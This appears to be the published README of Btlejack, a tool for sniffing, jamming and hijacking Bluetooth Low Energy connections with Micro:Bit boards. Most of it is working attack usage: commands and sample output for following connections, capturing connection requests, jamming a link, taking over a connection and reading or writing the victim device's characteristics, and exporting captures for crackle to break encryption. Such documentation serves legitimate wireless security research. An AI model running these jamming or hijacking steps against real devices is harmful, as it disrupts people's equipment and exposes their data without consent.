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Bluetooth Low Energy Swiss-army knife to sniff, jam and hijack connections

Project description

Btlejack provides everything you need to sniff, jam and hijack Bluetooth Low Energy devices. It relies on one or more BBC Micro:Bit. devices running a dedicated firmware. You may also want to use an Adafruit’s Bluefruit LE sniffer or a nRF51822 Eval Kit, as we added support for these devices.

This tool only supports Bluetooth Low Energy 4.x.


You need a UNIX based system (for example a Raspberry Pi). If you use the BBC Micro:Bit, you will need one to three Micro:Bit devices (three devices recommended) and for each device one free USB port. The power consumption of a Micro:Bit is rather low, so you can use a single USB port and a passive hub for powering the three recommended units.

If you connect 3 microbits at the same time on your computer, Btlejack will be able to sniff on every advertising channel and has far more chance to capture the connection request.

How to install

First, install the btlejack Python3 client software with Pip:

$ sudo pip3 install btlejack

Then, connect your Micro:Bit device to your computer with a USB cable, mount the associated mass storage device (the mount point must contain MICROBIT), and issue the following command:

$ btlejack -i

This will program every Micro:Bit device connected to your computer, and make them ready to use with Btlejack. It will use the correct firmware version for the current client software, so it is highly recommended to perform this firmware installation procedure each time you update Btlejack.

If you are using a Bluefruit LE sniffer or a nRF51822 Eval Kit, then please use an external SWD programmer to flash your device with this firmware.

Keep your devices connected and you’re all set !

NOTE This only works with posix compatible systems.

How to use Btlejack

Using Btlejack is quite easy. Btlejack can:

  • use various devices
  • sniff an existing BLE connection
  • sniff new BLE connections
  • jam an existing BLE connection
  • hijack an existing BLE connection
  • export captured packets to various PCAP formats

Specify devices to use

Btlejack normally tries to autodetect and use connected compatible devices (Micro:Bit only for the moment), but since the firmware can be hacked or modified to work with other nRF51822-based boards, it provides a specific options to allow compatibility with these devices.

The -d option lets you specify one or more devices with Btlejack. Note that this option will disable the automatic detection of devices, and you should add as many devices as you may need:

$ btlejack -d /dev/ttyACM0 -d /dev/ttyACM2 -s

Sniffing an existing connection

First, find an existing connection to target with btlejack:

$ btlejack -s
BtleJack version 1.1

[i] Enumerating existing connections ...
[ - 54 dBm] 0xcd91d517 | pkts: 1
[ - 46 dBm] 0xcd91d517 | pkts: 2

The first value (in dBm) shows the power of the signal, the greater this value is the better the sniffed connection will be.

The second value (hex) is the associated access address, a 32-bit value identifying a link between two bluetooth low energy compatible devices.

The last value is the number of packets seen with this access address. The higher this value is, the more probable the corresponding access address is used.

Then, use the -f option to follow a specific connection:

$ btlejack -f 0xdda4845e
BtleJack version 1.1

[i] Detected sniffers:
 > Sniffer #0: fw version 1.1

[i] Synchronizing with connection 0xdda4845e ...
✓ CRCInit: 0x2a035e
✓ Channel Map = 0x1fffffffff
✓ Hop interval = 39
✓ Hop increment = 15
[i] Synchronized, packet capture in progress ...
LL Data: 02 07 03 00 04 00 0a 03 00
LL Data: 0a 08 04 00 04 00 0b 5a 69 70
LL Data: 02 07 03 00 04 00 0a 03 00
LL Data: 0a 08 04 00 04 00 0b 5a 69 70

If you are using more than 1 microbit, Btlejack will parallelize some of the sniffing operations in order to speed up the connection parametres recovery !

Sniffing for new connections

The -c option supported by btlejack allows you to specify the target BD address, or you may want to use any to capture any new connection created.

$ btlejack -c any
BtleJack version 1.1

[i] Detected sniffers:
 > Sniffer #0: version 1.1
 > Sniffer #1: version 1.1
LL Data: 05 22 df b4 6f 95 c5 55 c0 0a f6 99 23 40 1d 7b 2f 0a 9a f4 93 01 12 00 27 00 00 00 d0 07 ff ff ff ff 1f 0b
[i] Got CONNECT_REQ packet from 55:c5:95:6f:b4:df to 40:23:99:f6:0a:c0
 |-- Access Address: 0x0a2f7b1d
 |-- CRC Init value: 0x93f49a
 |-- Hop interval: 39
 |-- Hop increment: 11
 |-- Channel Map: 1fffffffff
 |-- Timeout: 20000 ms

LL Data: 03 09 08 0f 00 00 00 00 00 00 00
LL Data: 03 09 08 0f 00 00 00 00 00 00 00
LL Data: 0b 06 0c 08 0f 00 09 41
LL Data: 03 06 0c 07 1d 00 d3 07

or you may also want to specify the target BD address:

$ btlejack -c 03:e1:f0:00:11:22

Jamming a connection

Once a connection identified by its access address, you can provide jam it by using the -j option:

$ btlejack -f 0x129f3244 -j̀

Hijacking a BLE connection

Btlejack is also able to hijack an existing connection, use the -t option to do so. Once hijacked, Btlejack will give you a prompt allowing you to interact with the hijacked device.

First, hijack an existing connection:

$ btlejack -f 0x9c68fd30 -t -m 0x1fffffffff
BtleJack version 1.1

[i] Using cached parameters (created on 2018-08-11 01:48:24)
[i] Detected sniffers:
 > Sniffer #0: fw version 1.1

[i] Synchronizing with connection 0x9c68fd30 ...
✓ CRCInit: 0x81f733
✓ Channel map is provided: 0x1fffffffff
✓ Hop interval = 39
✓ Hop increment = 9
[i] Synchronized, hijacking in progress ...
[i] Connection successfully hijacked, it is all yours \o/

Then use the following commands to interact with the device: - discover: performs services and characteristics enumeration, will give you all the information about services and characteristics - write: write data to a specific value handle - read: read data from a specific value handle - ll: sends a raw link-layer packet (for ninjas)

discover command

The discover command will send and receive Bluetooth LE packets and retrieve all the services UUIDs and parameters, as well as characteristics UUIDs and parameters:

btlejack> discover
start: 0001 end: 0005
start: 0014 end: 001a
start: 0028 end: ffff
 Discovered services:
Service UUID: 1801
 Characteristic UUID: 2a05
   | handle: 0002
   | properties: indicate  (20)
   \ value handle: 0003

Service UUID: 1800
 Characteristic UUID: 2a04
   | handle: 0019
   | properties: read  (02)
   \ value handle: 001a

 Characteristic UUID: 2a00
   | handle: 0015
   | properties: read  (02)
   \ value handle: 0016

 Characteristic UUID: 2a01
   | handle: 0017
   | properties: read  (02)
   \ value handle: 0018

Service UUID: 1824
 Characteristic UUID: 2abc
   | handle: 0029
   | properties: write indicate  (28)
   \ value handle: 002a

read command

The read command accepts a single parameter, the value handle corresponding to the characteristic you want to read from:

btlejack> read 0x16
read>> 4c 47 20 77 65 62 4f 53 20 54 56

write command

The write command accepts three parameters:

btlejack> write <value handle> <data format> <data>

Supported data formats:

  • hex: hex data (i.e. “414261”)
  • str: text string, may be encapsulated in double quotes

ll command

This last command allows you to send Bluetooth Low Energy Link-layer PDUs, in hex form, as specified in Volume 6, Part B, Chapter 2.4.

PCAP file export

One interesting feature of Btlejack is the possibility to export the captured data to a PCAP file.

Btlejack supports the following DLT formats:

  • DLT_NORDIC_BLE (the one used by Nordic’ sniffer)
  • DLT_BLUETOOTH_LE_LL (supported on latest versions of Wireshark)

The output file may be specified using the -o option, while the output format may be specified with the -x option. Valid formats values are: ll_phdr, nordic, or pcap (default).

$ btlejack -f 0xac56bc12 -x nordic -o capture.nordic.pcap

The ll_phdr export type is useful when sniffing an encrypted connection, as it is also supported by crackle. So if you want to sniff and break encrypted connections, this is the way to go.

You may also need to tell crackle to use a specific cracking strategy, by using the -s option:

$ crackle -i some.pcap -s 1

Connection cache

Btlejack uses a connection cache to store some connection-related value in order to speed up things a bit. This connection cache may cause some problems, especially if an access address has been previously seen.

This cache can be flushed with the -z option:

$ btlejack -z

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